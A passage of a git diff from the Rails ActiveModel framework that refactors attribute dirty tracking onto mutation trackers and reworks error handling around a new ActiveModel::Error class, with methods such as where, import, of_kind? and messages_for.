+    # Dispatch target for {*_previously_was}[rdoc-ref:#*_previously_was] attribute methods.
+    def attribute_previously_was(attr_name)
+      mutations_before_last_save.original_value(attr_name.to_s)
+    end
+
+    # Restore all previous data of the provided attributes.
+    def restore_attributes(attr_names = changed)
+      attr_names.each { |attr_name| restore_attribute!(attr_name) }
+    end
+
+    # Clears all dirty data: current changes and previous changes.
+    def clear_changes_information
+      @mutations_before_last_save = nil
+      forget_attribute_assignments
+      @mutations_from_database = nil
+    end
+
+    def clear_attribute_changes(attr_names)
+      attr_names.each do |attr_name|
+        clear_attribute_change(attr_name)
+      end
+    end
+
+    # Returns a hash of the attributes with unsaved changes indicating their original
+    # values like <tt>attr => original value</tt>.
+    #
+    #   person.name # => "bob"
+    #   person.name = 'robert'
+    #   person.changed_attributes # => {"name" => "bob"}
+    def changed_attributes
+      mutations_from_database.changed_values
     end
 
     # Returns a hash of changed attributes indicating their original
@@ -153,7 +351,7 @@ def changed
     #   person.name = 'bob'
     #   person.changes # => { "name" => ["bill", "bob"] }
     def changes
-      ActiveSupport::HashWithIndifferentAccess[changed.map { |attr| [attr, attribute_change(attr)] }]
+      mutations_from_database.changes
     end
 
     # Returns a hash of attributes that were changed before the model was saved.
@@ -163,110 +361,62 @@ def changes
     #   person.save
     #   person.previous_changes # => {"name" => ["bob", "robert"]}
     def previous_changes
-      @previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new
+      mutations_before_last_save.changes
     end
 
-    # Returns a hash of the attributes with unsaved changes indicating their original
-    # values like <tt>attr => original value</tt>.
-    #
-    #   person.name # => "bob"
-    #   person.name = 'robert'
-    #   person.changed_attributes # => {"name" => "bob"}
-    def changed_attributes
-      @changed_attributes ||= ActiveSupport::HashWithIndifferentAccess.new
-    end
-
-    # Handles <tt>*_changed?</tt> for +method_missing+.
-    def attribute_changed?(attr, from: OPTION_NOT_GIVEN, to: OPTION_NOT_GIVEN) # :nodoc:
-      !!changes_include?(attr) &&
-        (to == OPTION_NOT_GIVEN || to == __send__(attr)) &&
-        (from == OPTION_NOT_GIVEN || from == changed_attributes[attr])
-    end
-
-    # Handles <tt>*_was</tt> for +method_missing+.
-    def attribute_was(attr) # :nodoc:
-      attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
-    end
-
-    # Handles <tt>*_previously_changed?</tt> for +method_missing+.
-    def attribute_previously_changed?(attr) #:nodoc:
-      previous_changes_include?(attr)
-    end
-
-    # Restore all previous data of the provided attributes.
-    def restore_attributes(attributes = changed)
-      attributes.each { |attr| restore_attribute! attr }
+    def attribute_changed_in_place?(attr_name) # :nodoc:
+      mutations_from_database.changed_in_place?(attr_name.to_s)
     end
 
     private
-
-      # Returns +true+ if attr_name is changed, +false+ otherwise.
-      def changes_include?(attr_name)
-        attributes_changed_by_setter.include?(attr_name)
+      def init_internals
+        super
+        @mutations_before_last_save = nil
+        @mutations_from_database = nil
       end
-      alias attribute_changed_by_setter? changes_include?
 
-      # Returns +true+ if attr_name were changed before the model was saved,
-      # +false+ otherwise.
-      def previous_changes_include?(attr_name)
-        previous_changes.include?(attr_name)
+      def clear_attribute_change(attr_name)
+        mutations_from_database.forget_change(attr_name.to_s)
       end
 
-      # Removes current changes and makes them accessible through +previous_changes+.
-      def changes_applied # :doc:
-        @previously_changed = changes
-        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      def mutations_from_database
+        @mutations_from_database ||= if defined?(@attributes)
+          ActiveModel::AttributeMutationTracker.new(@attributes)
+        else
+          ActiveModel::ForcedMutationTracker.new(self)
+        end
       end
 
-      # Clears all dirty data: current changes and previous changes.
-      def clear_changes_information # :doc:
-        @previously_changed = ActiveSupport::HashWithIndifferentAccess.new
-        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      def forget_attribute_assignments
+        @attributes = @attributes.map(&:forgetting_assignment) if defined?(@attributes)
       end
 
-      # Handles <tt>*_change</tt> for +method_missing+.
-      def attribute_change(attr)
-        [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
+      def mutations_before_last_save
+        @mutations_before_last_save ||= ActiveModel::NullMutationTracker.instance
       end
 
-      # Handles <tt>*_previous_change</tt> for +method_missing+.
-      def attribute_previous_change(attr)
-        previous_changes[attr] if attribute_previously_changed?(attr)
+      # Dispatch target for <tt>*_change</tt> attribute methods.
+      def attribute_change(attr_name)
+        mutations_from_database.change_to_attribute(attr_name.to_s)
       end
 
-      # Handles <tt>*_will_change!</tt> for +method_missing+.
-      def attribute_will_change!(attr)
-        return if attribute_changed?(attr)
-
-        begin
-          value = __send__(attr)
-          value = value.duplicable? ? value.clone : value
-        rescue TypeError, NoMethodError
-        end
-
-        set_attribute_was(attr, value)
+      # Dispatch target for <tt>*_previous_change</tt> attribute methods.
+      def attribute_previous_change(attr_name)
+        mutations_before_last_save.change_to_attribute(attr_name.to_s)
       end
 
-      # Handles <tt>restore_*!</tt> for +method_missing+.
-      def restore_attribute!(attr)
-        if attribute_changed?(attr)
-          __send__("#{attr}=", changed_attributes[attr])
-          clear_attribute_changes([attr])
-        end
+      # Dispatch target for <tt>*_will_change!</tt> attribute methods.
+      def attribute_will_change!(attr_name)
+        mutations_from_database.force_change(attr_name.to_s)
       end
 
-      # This is necessary because `changed_attributes` might be overridden in
-      # other implementations (e.g. in `ActiveRecord`)
-      alias_method :attributes_changed_by_setter, :changed_attributes # :nodoc:
-
-      # Force an attribute to have a particular "before" value
-      def set_attribute_was(attr, old_value)
-        attributes_changed_by_setter[attr] = old_value
-      end
-
-      # Remove changes information for the provided attributes.
-      def clear_attribute_changes(attributes) # :doc:
-        attributes_changed_by_setter.except!(*attributes)
+      # Dispatch target for <tt>restore_*!</tt> attribute methods.
+      def restore_attribute!(attr_name)
+        attr_name = attr_name.to_s
+        if attribute_changed?(attr_name)
+          __send__("#{attr_name}=", attribute_was(attr_name))
+          clear_attribute_change(attr_name)
+        end
       end
   end
 end
diff --git a/activemodel/lib/active_model/error.rb b/activemodel/lib/active_model/error.rb
new file mode 100644
index 0000000000000..32492b5feeddf
--- /dev/null
+++ b/activemodel/lib/active_model/error.rb
@@ -0,0 +1,209 @@
+# frozen_string_literal: true
+
+
+module ActiveModel
+  # = Active \Model \Error
+  #
+  # Represents one single error
+  class Error
+    CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict]
+    MESSAGE_OPTIONS = [:message]
+
+    class_attribute :i18n_customize_full_message, default: false
+
+    def self.full_message(attribute, message, base) # :nodoc:
+      return message if attribute == :base
+
+      base_class = base.class
+      attribute = attribute.to_s
+
+      if i18n_customize_full_message && base_class.respond_to?(:i18n_scope)
+        attribute = attribute.remove(/\[\d+\]/)
+        parts = attribute.split(".")
+        attribute_name = parts.pop
+        namespace = parts.join("/") unless parts.empty?
+        attributes_scope = "#{base_class.i18n_scope}.errors.models"
+
+        if namespace
+          defaults = base_class.lookup_ancestors.map do |klass|
+            [
+              :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.attributes.#{attribute_name}.format",
+              :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.format",
+            ]
+          end
+        else
+          defaults = base_class.lookup_ancestors.map do |klass|
+            [
+              :"#{attributes_scope}.#{klass.model_name.i18n_key}.attributes.#{attribute_name}.format",
+              :"#{attributes_scope}.#{klass.model_name.i18n_key}.format",
+            ]
+          end
+        end
+
+        defaults.flatten!
+      else
+        defaults = []
+      end
+
+      defaults << :"errors.format"
+      defaults << "%{attribute} %{message}"
+
+      attr_name = attribute.remove(/\.base\z/).tr(".", "_").humanize
+      attr_name = base_class.human_attribute_name(attribute, {
+        default: attr_name,
+        base: base,
+      })
+
+      I18n.t(defaults.shift,
+        default:  defaults,
+        attribute: attr_name,
+        message:   message)
+    end
+
+    def self.generate_message(attribute, type, base, options) # :nodoc:
+      type = options.delete(:message) if options[:message].is_a?(Symbol)
+      value = (attribute != :base ? base.read_attribute_for_validation(attribute) : nil)
+
+      options = {
+        model: base.model_name.human,
+        attribute: base.class.human_attribute_name(attribute, { base: base }),
+        value: value,
+        object: base
+      }.merge!(options)
+
+      if base.class.respond_to?(:i18n_scope)
+        i18n_scope = base.class.i18n_scope.to_s
+        attribute = attribute.to_s.remove(/\[\d+\]/)
+
+        defaults = base.class.lookup_ancestors.flat_map do |klass|
+          [ :"#{i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}",
+            :"#{i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ]
+        end
+        defaults << :"#{i18n_scope}.errors.messages.#{type}"
+
+        catch(:exception) do
+          translation = I18n.translate(defaults.first, **options, default: defaults.drop(1), throw: true)
+          return translation unless translation.nil?
+        end unless options[:message]
+      else
+        defaults = []
+      end
+
+      defaults << :"errors.attributes.#{attribute}.#{type}"
+      defaults << :"errors.messages.#{type}"
+
+      key = defaults.shift
+      defaults = options.delete(:message) if options[:message]
+      options[:default] = defaults
+
+      I18n.translate(key, **options)
+    end
+
+    def initialize(base, attribute, type = :invalid, **options)
+      @base = base
+      @attribute = attribute
+      @raw_type = type
+      @type = type || :invalid
+      @options = options
+    end
+
+    def initialize_dup(other) # :nodoc:
+      @attribute = @attribute.dup
+      @raw_type = @raw_type.dup
+      @type = @type.dup
+      @options = @options.deep_dup
+    end
+
+    # The object which the error belongs to
+    attr_reader :base
+    # The attribute of +base+ which the error belongs to
+    attr_reader :attribute
+    # The type of error, defaults to +:invalid+ unless specified
+    attr_reader :type
+    # The raw value provided as the second parameter when calling
+    # <tt>errors#add</tt>
+    attr_reader :raw_type
+    # The options provided when calling <tt>errors#add</tt>
+    attr_reader :options
+
+    # Returns the error message.
+    #
+    #   error = ActiveModel::Error.new(person, :name, :too_short, count: 5)
+    #   error.message
+    #   # => "is too short (minimum is 5 characters)"
+    def message
+      case raw_type
+      when Symbol
+        self.class.generate_message(attribute, raw_type, @base, options.except(*CALLBACKS_OPTIONS))
+      else
+        raw_type
+      end
+    end
+
+    # Returns the error details.
+    #
+    #   error = ActiveModel::Error.new(person, :name, :too_short, count: 5)
+    #   error.details
+    #   # => { error: :too_short, count: 5 }
+    def details
+      { error: raw_type }.merge(options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS))
+    end
+    alias_method :detail, :details
+
+    # Returns the full error message.
+    #
+    #   error = ActiveModel::Error.new(person, :name, :too_short, count: 5)
+    #   error.full_message
+    #   # => "Name is too short (minimum is 5 characters)"
+    def full_message
+      self.class.full_message(attribute, message, @base)
+    end
+
+    # See if error matches provided +attribute+, +type+, and +options+.
+    #
+    # Omitted params are not checked for a match.
+    def match?(attribute, type = nil, **options)
+      if @attribute != attribute || (type && @type != type)
+        return false
+      end
+
+      options.each do |key, value|
+        if @options[key] != value
+          return false
+        end
+      end
+
+      true
+    end
+
+    # See if error matches provided +attribute+, +type+, and +options+ exactly.
+    #
+    # All params must be equal to Error's own attributes to be considered a
+    # strict match.
+    def strict_match?(attribute, type, **options)
+      return false unless match?(attribute, type)
+
+      options == @options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS)
+    end
+
+    def ==(other) # :nodoc:
+      other.is_a?(self.class) && attributes_for_hash == other.attributes_for_hash
+    end
+    alias eql? ==
+
+    def hash # :nodoc:
+      attributes_for_hash.hash
+    end
+
+    def inspect # :nodoc:
+      "#<#{self.class.name} attribute=#{@attribute}, type=#{@type}, options=#{@options.inspect}>"
+    end
+
+    protected
+      def attributes_for_hash
+        [@base, @attribute, @raw_type, @options.except(*CALLBACKS_OPTIONS)]
+      end
+  end
+
+  ActiveSupport.run_load_hooks(:active_model_error, Error)
+end
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 9df4ca51fe9bd..e00cedfb91b15 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -1,12 +1,15 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/conversions"
 require "active_support/core_ext/string/inflections"
 require "active_support/core_ext/object/deep_dup"
-require "active_support/core_ext/string/filters"
+require "active_model/error"
+require "active_model/nested_error"
 
 module ActiveModel
-  # == Active \Model \Errors
+  # = Active \Model \Errors
   #
-  # Provides a modified +Hash+ that you can include in your object
+  # Provides error related functionalities you can include in your object
   # for handling error messages and interacting with Action View helpers.
   #
   # A minimal implementation could be:
@@ -43,9 +46,9 @@ module ActiveModel
   #
   # The last three methods are required in your object for +Errors+ to be
   # able to generate error messages correctly and also handle multiple
-  # languages. Of course, if you extend your object with <tt>ActiveModel::Translation</tt>
+  # languages. Of course, if you extend your object with ActiveModel::Translation
   # you will not need to implement the last two. Likewise, using
-  # <tt>ActiveModel::Validations</tt> will handle the validation related methods
+  # ActiveModel::Validations will handle the validation related methods
   # for you.
   #
   # The above allows you to do:
@@ -57,10 +60,49 @@ module ActiveModel
   class Errors
     include Enumerable
 
-    CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict]
-    MESSAGE_OPTIONS = [:message]
+    ##
+    # :method: each
+    #
+    # :call-seq: each(&block)
+    #
+    # Iterates through each error object.
+    #
+    #   person.errors.add(:name, :too_short, count: 2)
+    #   person.errors.each do |error|
+    #     # Will yield <#ActiveModel::Error attribute=name, type=too_short,
+    #                                       options={:count=>3}>
+    #   end
+
+    ##
+    # :method: clear
+    #
+    # :call-seq: clear
+    #
+    # Clears all errors. Clearing the errors does not, however, make the model
+    # valid. The next time the validations are run (for example, via
+    # ActiveRecord::Validations#valid?), the errors collection will be filled
+    # again if any validations fail.
+
+    ##
+    # :method: empty?
+    #
+    # :call-seq: empty?
+    #
+    # Returns true if there are no errors.
+
+    ##
+    # :method: size
+    #
+    # :call-seq: size
+    #
+    # Returns number of errors.
+
+    delegate :each, :clear, :empty?, :size, :uniq!, to: :@errors
 
-    attr_reader :messages, :details
+    # The actual array of +Error+ objects
+    # This method is aliased to <tt>objects</tt>.
+    attr_reader :errors
+    alias :objects :errors
 
     # Pass in the instance of the object that is using the errors object.
     #
@@ -70,37 +112,82 @@ class Errors
     #     end
     #   end
     def initialize(base)
-      @base     = base
-      @messages = apply_default_array({})
-      @details = apply_default_array({})
+      @base = base
+      @errors = []
     end
 
     def initialize_dup(other) # :nodoc:
-      @messages = other.messages.dup
-      @details  = other.details.deep_dup
+      @errors = other.errors.deep_dup
       super
     end
 
     # Copies the errors from <tt>other</tt>.
+    # For copying errors but keep <tt>@base</tt> as is.
     #
-    # other - The ActiveModel::Errors instance.
+    # ==== Parameters
     #
-    # Examples
+    # * +other+ - The ActiveModel::Errors instance.
+    #
+    # ==== Examples
     #
     #   person.errors.copy!(other)
+    #
     def copy!(other) # :nodoc:
-      @messages = other.messages.dup
-      @details  = other.details.dup
+      @errors = other.errors.deep_dup
+      @errors.each { |error|
+        error.instance_variable_set(:@base, @base)
+      }
     end
 
-    # Clear the error messages.
+    # Imports one error.
+    # Imported errors are wrapped as a NestedError,
+    # providing access to original error object.
+    # If attribute or type needs to be overridden, use +override_options+.
     #
-    #   person.errors.full_messages # => ["name cannot be nil"]
-    #   person.errors.clear
-    #   person.errors.full_messages # => []
-    def clear
-      messages.clear
-      details.clear
+    # ==== Options
+    #
+    # * +:attribute+ - Override the attribute the error belongs to.
+    # * +:type+ - Override type of the error.
+    def import(error, override_options = {})
+      [:attribute, :type].each do |key|
+        if override_options.key?(key)
+          override_options[key] = override_options[key].to_sym
+        end
+      end
+      @errors.append(NestedError.new(@base, error, override_options))
+    end
+
+    # Merges the errors from <tt>other</tt>,
+    # each Error wrapped as NestedError.
+    #
+    # ==== Parameters
+    #
+    # * +other+ - The ActiveModel::Errors instance.
+    #
+    # ==== Examples
+    #
+    #   person.errors.merge!(other)
+    #
+    def merge!(other)
+      return errors if equal?(other)
+
+      other.errors.each { |error|
+        import(error)
+      }
+    end
+
+    # Search for errors matching +attribute+, +type+, or +options+.
+    #
+    # Only supplied params will be matched.
+    #
+    #   person.errors.where(:name) # => all name errors.
+    #   person.errors.where(:name, :too_short) # => all name errors being too short
+    #   person.errors.where(:name, :too_short, minimum: 2) # => all name errors being too short and minimum is 2
+    def where(attribute, type = nil, **options)
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+      @errors.select { |error|
+        error.match?(attribute, type, **options)
+      }
     end
 
     # Returns +true+ if the error messages include an error for the given key
@@ -110,8 +197,9 @@ def clear
     #   person.errors.include?(:name) # => true
     #   person.errors.include?(:age)  # => false
     def include?(attribute)
-      attribute = attribute.to_sym
-      messages.key?(attribute) && messages[attribute].present?
+      @errors.any? { |error|
+        error.match?(attribute.to_sym)
+      }
     end
     alias :has_key? :include?
     alias :key? :include?
@@ -121,10 +209,13 @@ def include?(attribute)
     #   person.errors[:name]        # => ["cannot be nil"]
     #   person.errors.delete(:name) # => ["cannot be nil"]
     #   person.errors[:name]        # => []
-    def delete(key)
-      attribute = key.to_sym
-      details.delete(attribute)
-      messages.delete(attribute)
+    def delete(attribute, type = nil, **options)
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+      matches = where(attribute, type, **options)
+      matches.each do |error|
+        @errors.delete(error)
+      end
+      matches.map(&:message).presence
     end
 
     # When passed a symbol or a name of a method, returns an array of errors
@@ -132,94 +223,21 @@ def delete(key)
     #
     #   person.errors[:name]  # => ["cannot be nil"]
     #   person.errors['name'] # => ["cannot be nil"]
-    #
-    # Note that, if you try to get errors of an attribute which has
-    # no errors associated with it, this method will instantiate
-    # an empty error list for it and +keys+ will return an array
-    # of error keys which includes this attribute.
-    #
-    #   person.errors.keys    # => []
-    #   person.errors[:name]  # => []
-    #   person.errors.keys    # => [:name]
     def [](attribute)
-      messages[attribute.to_sym]
-    end
-
-    # Iterates through each error key, value pair in the error messages hash.
-    # Yields the attribute and the error for that attribute. If the attribute
-    # has more than one error message, yields once for each error message.
-    #
-    #   person.errors.add(:name, :blank, message: "can't be blank")
-    #   person.errors.each do |attribute, error|
-    #     # Will yield :name and "can't be blank"
-    #   end
-    #
-    #   person.errors.add(:name, :not_specified, message: "must be specified")
-    #   person.errors.each do |attribute, error|
-    #     # Will yield :name and "can't be blank"
-    #     # then yield :name and "must be specified"
-    #   end
-    def each
-      messages.each_key do |attribute|
-        messages[attribute].each { |error| yield attribute, error }
-      end
-    end
-
-    # Returns the number of error messages.
-    #
-    #   person.errors.add(:name, :blank, message: "can't be blank")
-    #   person.errors.size # => 1
-    #   person.errors.add(:name, :not_specified, message: "must be specified")
-    #   person.errors.size # => 2
-    def size
-      values.flatten.size
+      messages_for(attribute)
     end
-    alias :count :size
 
-    # Returns all message values.
+    # Returns all error attribute names
     #
-    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
-    #   person.errors.values   # => [["cannot be nil", "must be specified"]]
-    def values
-      messages.values
-    end
-
-    # Returns all message keys.
-    #
-    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
-    #   person.errors.keys     # => [:name]
-    def keys
-      messages.keys
-    end
-
-    # Returns +true+ if no errors are found, +false+ otherwise.
-    # If the error message is a string it can be empty.
-    #
-    #   person.errors.full_messages # => ["name cannot be nil"]
-    #   person.errors.empty?        # => false
-    def empty?
-      size.zero?
-    end
-    alias :blank? :empty?
-
-    # Returns an xml formatted representation of the Errors hash.
-    #
-    #   person.errors.add(:name, :blank, message: "can't be blank")
-    #   person.errors.add(:name, :not_specified, message: "must be specified")
-    #   person.errors.to_xml
-    #   # =>
-    #   #  <?xml version=\"1.0\" encoding=\"UTF-8\"?>
-    #   #  <errors>
-    #   #    <error>name can't be blank</error>
-    #   #    <error>name must be specified</error>
-    #   #  </errors>
-    def to_xml(options = {})
-      to_a.to_xml({ root: "errors", skip_types: true }.merge!(options))
+    #   person.errors.messages        # => {:name=>["cannot be nil", "must be specified"]}
+    #   person.errors.attribute_names # => [:name]
+    def attribute_names
+      @errors.map(&:attribute).uniq.freeze
     end
 
     # Returns a Hash that can be used as the JSON representation for this
     # object. You can pass the <tt>:full_messages</tt> option. This determines
-    # if the json object should contain full messages or not (false by default).
+    # if the JSON object should contain full messages or not (false by default).
     #
     #   person.errors.as_json                      # => {:name=>["cannot be nil"]}
     #   person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
@@ -233,34 +251,69 @@ def as_json(options = nil)
     #   person.errors.to_hash       # => {:name=>["cannot be nil"]}
     #   person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
     def to_hash(full_messages = false)
-      if full_messages
-        messages.each_with_object({}) do |(attribute, array), messages|
-          messages[attribute] = array.map { |message| full_message(attribute, message) }
-        end
-      else
-        without_default_proc(messages)
+      message_method = full_messages ? :full_message : :message
+      group_by_attribute.transform_values do |errors|
+        errors.map(&message_method)
       end
     end
 
-    # Adds +message+ to the error messages and used validator type to +details+ on +attribute+.
+    undef :to_h
+
+    EMPTY_ARRAY = [].freeze # :nodoc:
+
+    # Returns a Hash of attributes with an array of their error messages.
+    def messages
+      hash = to_hash
+      hash.default = EMPTY_ARRAY
+      hash.freeze
+      hash
+    end
+
+    # Returns a Hash of attributes with an array of their error details.
+    def details
+      hash = group_by_attribute.transform_values do |errors|
+        errors.map(&:details)
+      end
+      hash.default = EMPTY_ARRAY
+      hash.freeze
+      hash
+    end
+
+    # Returns a Hash of attributes with an array of their Error objects.
+    #
+    #   person.errors.group_by_attribute
+    #   # => {:name=>[<#ActiveModel::Error>, <#ActiveModel::Error>]}
+    def group_by_attribute
+      @errors.group_by(&:attribute)
+    end
+
+    # Adds a new error of +type+ on +attribute+.
     # More than one error can be added to the same +attribute+.
-    # If no +message+ is supplied, <tt>:invalid</tt> is assumed.
+    # If no +type+ is supplied, <tt>:invalid</tt> is assumed.
     #
     #   person.errors.add(:name)
-    #   # => ["is invalid"]
+    #   # Adds <#ActiveModel::Error attribute=name, type=invalid>
     #   person.errors.add(:name, :not_implemented, message: "must be implemented")
-    #   # => ["is invalid", "must be implemented"]
+    #   # Adds <#ActiveModel::Error attribute=name, type=not_implemented,
+    #                               options={:message=>"must be implemented"}>
     #
     #   person.errors.messages
     #   # => {:name=>["is invalid", "must be implemented"]}
     #
-    #   person.errors.details
-    #   # => {:name=>[{error: :not_implemented}, {error: :invalid}]}
+    # If +type+ is a string, it will be used as error message.
     #
-    # If +message+ is a symbol, it will be translated using the appropriate
+    # If +type+ is a symbol, it will be translated using the appropriate
     # scope (see +generate_message+).
     #
-    # If +message+ is a proc, it will be called, allowing for things like
+    #   person.errors.add(:name, :blank)
+    #   person.errors.messages
+    #   # => {:name=>["can't be blank"]}
+    #
+    #   person.errors.add(:name, :too_long, count: 25)
+    #   person.errors.messages
+    #   # => ["is too long (maximum is 25 characters)"]
+    #
+    # If +type+ is a proc, it will be called, allowing for things like
     # <tt>Time.now</tt> to be used within an error.
     #
     # If the <tt>:strict</tt> option is set to +true+, it will raise
@@ -283,39 +336,67 @@ def to_hash(full_messages = false)
     #   # => {:base=>["either name or email must be present"]}
     #   person.errors.details
     #   # => {:base=>[{error: :name_or_email_blank}]}
-    def add(attribute, message = :invalid, options = {})
-      message = message.call if message.respond_to?(:call)
-      detail  = normalize_detail(message, options)
-      message = normalize_message(attribute, message, options)
+    def add(attribute, type = :invalid, **options)
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+      error = Error.new(@base, attribute, type, **options)
+
       if exception = options[:strict]
         exception = ActiveModel::StrictValidationFailed if exception == true
-        raise exception, full_message(attribute, message)
+        raise exception, error.full_message
       end
 
-      details[attribute.to_sym]  << detail
-      messages[attribute.to_sym] << message
+      @errors.append(error)
+
+      error
     end
 
-    # Returns +true+ if an error on the attribute with the given message is
-    # present, or +false+ otherwise. +message+ is treated the same as for +add+.
+    # Returns +true+ if an error matches provided +attribute+ and +type+,
+    # or +false+ otherwise. +type+ is treated the same as for +add+.
     #
     #   person.errors.add :name, :blank
     #   person.errors.added? :name, :blank           # => true
     #   person.errors.added? :name, "can't be blank" # => true
     #
-    # If the error message requires an option, then it returns +true+ with
-    # the correct option, or +false+ with an incorrect or missing option.
-    #
-    #  person.errors.add :name, :too_long, { count: 25 }
-    #  person.errors.added? :name, :too_long, count: 25                     # => true
-    #  person.errors.added? :name, "is too long (maximum is 25 characters)" # => true
-    #  person.errors.added? :name, :too_long, count: 24                     # => false
-    #  person.errors.added? :name, :too_long                                # => false
-    #  person.errors.added? :name, "is too long"                            # => false
-    def added?(attribute, message = :invalid, options = {})
-      message = message.call if message.respond_to?(:call)
-      message = normalize_message(attribute, message, options)
-      self[attribute].include? message
+    # If the error requires options, then it returns +true+ with
+    # the correct options, or +false+ with incorrect or missing options.
+    #
+    #   person.errors.add :name, :too_long, count: 25
+    #   person.errors.added? :name, :too_long, count: 25                     # => true
+    #   person.errors.added? :name, "is too long (maximum is 25 characters)" # => true
+    #   person.errors.added? :name, :too_long, count: 24                     # => false
+    #   person.errors.added? :name, :too_long                                # => false
+    #   person.errors.added? :name, "is too long"                            # => false
+    def added?(attribute, type = :invalid, options = {})
+      attribute, type, options = normalize_arguments(attribute, type, **options)
+
+      if type.is_a? Symbol
+        @errors.any? { |error|
+          error.strict_match?(attribute, type, **options)
+        }
+      else
+        messages_for(attribute).include?(type)
+      end
+    end
+
+    # Returns +true+ if an error on the attribute with the given type is
+    # present, or +false+ otherwise. +type+ is treated the same as for +add+.
+    #
+    #   person.errors.add :age
+    #   person.errors.add :name, :too_long, count: 25
+    #   person.errors.of_kind? :age                                            # => true
+    #   person.errors.of_kind? :name                                           # => false
+    #   person.errors.of_kind? :name, :too_long                                # => true
+    #   person.errors.of_kind? :name, "is too long (maximum is 25 characters)" # => true
+    #   person.errors.of_kind? :name, :not_too_long                            # => false
+    #   person.errors.of_kind? :name, "is too long"                            # => false
+    def of_kind?(attribute, type = :invalid)
+      attribute, type = normalize_arguments(attribute, type)
+
+      if type.is_a? Symbol
+        !where(attribute, type).empty?
+      else
+        messages_for(attribute).include?(type)
+      end
     end
 
     # Returns all the full error messages in an array.
@@ -329,11 +410,12 @@ def added?(attribute, message = :invalid, options = {})
     #   person.errors.full_messages
     #   # => ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"]
     def full_messages
-      map { |attribute, message| full_message(attribute, message) }
+      @errors.map(&:full_message)
     end
     alias :to_a :full_messages
 
-    # Returns all the full error messages for a given attribute in an array.
+    # Returns all the full error messages for a given attribute
+    # and type (optional) in an array.
     #
     #   class Person
     #     validates_presence_of :name, :email
@@ -343,22 +425,36 @@ def full_messages
     #   person = Person.create()
     #   person.errors.full_messages_for(:name)
     #   # => ["Name is too short (minimum is 5 characters)", "Name can't be blank"]
-    def full_messages_for(attribute)
-      attribute = attribute.to_sym
-      messages[attribute].map { |message| full_message(attribute, message) }
+    #
+    #   person.errors.full_messages_for(:name, :invalid)
+    #   # => ["Name is invalid"]
+    def full_messages_for(attribute, type = nil)
+      where(attribute, type).map(&:full_message).freeze
+    end
+
+    # Returns all the error messages for a given attribute
+    # and type (optional) in an array.
+    #
+    #   class Person
+    #     validates_presence_of :name, :email
+    #     validates_length_of :name, in: 5..30
+    #   end
+    #
+    #   person = Person.create()
+    #   person.errors.messages_for(:name)
+    #   # => ["is too short (minimum is 5 characters)", "can't be blank"]
+    #
+    #   person.errors.messages_for(:name, :invalid)
+    #   # => ["is invalid"]
+    def messages_for(attribute, type = nil)
+      where(attribute, type).map(&:message)
     end
 
     # Returns a full message for a given attribute.
     #
     #   person.errors.full_message(:name, 'is invalid') # => "Name is invalid"
     def full_message(attribute, message)
-      return message if attribute == :base
-      attr_name = attribute.to_s.tr(".", "_").humanize
-      attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
-      I18n.t(:"errors.format",
-        default:  "%{attribute} %{message}",
-        attribute: attr_name,
-        message:   message)
+      Error.full_message(attribute, message, @base)
     end
 
     # Translates an error message in its default scope
@@ -368,7 +464,7 @@ def full_message(attribute, message)
     # if it's not there, it's looked up in <tt>activemodel.errors.models.MODEL.MESSAGE</tt> and if
     # that is not there also, it returns the translation of the default message
     # (e.g. <tt>activemodel.errors.messages.MESSAGE</tt>). The translated model
-    # name, translated attribute name and the value are available for
+    # name, translated attribute name, and the value are available for
     # interpolation.
     #
     # When using inheritance in your models, it will check all the inherited
@@ -386,82 +482,28 @@ def full_message(attribute, message)
     # * <tt>errors.attributes.title.blank</tt>
     # * <tt>errors.messages.blank</tt>
     def generate_message(attribute, type = :invalid, options = {})
-      type = options.delete(:message) if options[:message].is_a?(Symbol)
-
-      if @base.class.respond_to?(:i18n_scope)
-        defaults = @base.class.lookup_ancestors.map do |klass|
-          [ :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.attributes.#{attribute}.#{type}",
-            :"#{@base.class.i18n_scope}.errors.models.#{klass.model_name.i18n_key}.#{type}" ]
-        end
-      else
-        defaults = []
-      end
-
-      defaults << :"#{@base.class.i18n_scope}.errors.messages.#{type}" if @base.class.respond_to?(:i18n_scope)
-      defaults << :"errors.attributes.#{attribute}.#{type}"
-      defaults << :"errors.messages.#{type}"
-
-      defaults.compact!
-      defaults.flatten!
-
-      key = defaults.shift
-      defaults = options.delete(:message) if options[:message]
-      value = (attribute != :base ? @base.send(:read_attribute_for_validation, attribute) : nil)
-
-      options = {
-        default: defaults,
-        model: @base.model_name.human,
-        attribute: @base.class.human_attribute_name(attribute),
-        value: value,
-        object: @base
-      }.merge!(options)
-
-      I18n.translate(key, options)
+      Error.generate_message(attribute, type, @base, options)
     end
 
-    def marshal_dump # :nodoc:
-      [@base, without_default_proc(@messages), without_default_proc(@details)]
-    end
+    def inspect # :nodoc:
+      inspection = @errors.inspect
 
-    def marshal_load(array) # :nodoc:
-      @base, @messages, @details = array
-      apply_default_array(@messages)
-      apply_default_array(@details)
+      "#<#{self.class.name} #{inspection}>"
     end
 
